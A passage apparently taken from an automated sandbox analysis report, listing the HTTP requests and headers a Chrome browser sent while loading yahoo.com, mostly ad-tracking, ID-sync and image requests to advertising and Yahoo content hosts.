3D0%7Cloc%3Dmid_right_a%26noads%3D1%26y_pgid%3D2%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dtop_center%26y_pgid%3D3%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_b%26noads%3D1%26y_pgid%3D4%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_c%26y_pgid%3D5%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26
Source: global traffic	HTTP traffic detected: GET /usermatch?s=183875&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&cb=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Didx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D_UID_ HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /sp/v0/pixels?gdpr=false&euconsent=&us_privacy=1YNN&gpp=DBAA&gppSid=-1&referrer=https%3A%2F%2Fopus.analytics.yahoo.com%2Ftag%2Fopus-frame.html%3Freferrer%3Dhttps%3A%2F%2Fwww.yahoo.com%2F%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1 HTTP/1.1Host: service.idsync.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://tag.idsync.analytics.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tag.idsync.analytics.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=10958700&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /safeframe/1-0-40/html/container.html HTTP/1.1Host: b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9202214988&yho=y-MfEWbalE2p5Ho5S4sAYrgdODjWOkhRjPQl8-~A HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/CLOUDY.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/cA2iZe.B78wjQSwfOu6Qhw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190108/500x500/loyola_maryland_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/u6_Mg2dDzQ2NMpEQ1NvaMQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181228/500x500/army_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=05885541380958628422864466641451014575
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/3P4FecmyTTFWH72mzXTEZQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181210/500x500/providence_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=16Db496f6ca59f87c3dafa11704929235
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/IkFljGiNauQREEGi3lrW9w--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190610/500x500/st_johns_ny_wbgs.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oath/1/info?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58267/sync?uid=968062845637553879&_origin=0&redir=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/3E6F0ARiT3ZQ7FArihI9Bw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/nba/20181226/500x500/timberwolves_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatch?cb=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fgpp%3D%26gpp_sid%3D%26cs%3D1%26vsid%3D3479308310180275000V10%26type%3Didx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D_UID_&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&s=183875&C=1 HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/LaVK5.znBhNMAKDUJz1a2g--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/20181030/500x500/celtics_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsCS4R26u1L6NyvpBxA%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC00NzZFLUFFRDQtQkU4RENBRkE0MUM0&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCIr75Nm2j8k8EAUYBSABKAIyCwii9sSCzY_JPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=213320604757009326690&gdpr=&gdpr_consent= HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
Source: global traffic	HTTP traffic detected: GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.adgrx.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /um/ixmatch.html HTTP/1.1Host: js-sec.indexww.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
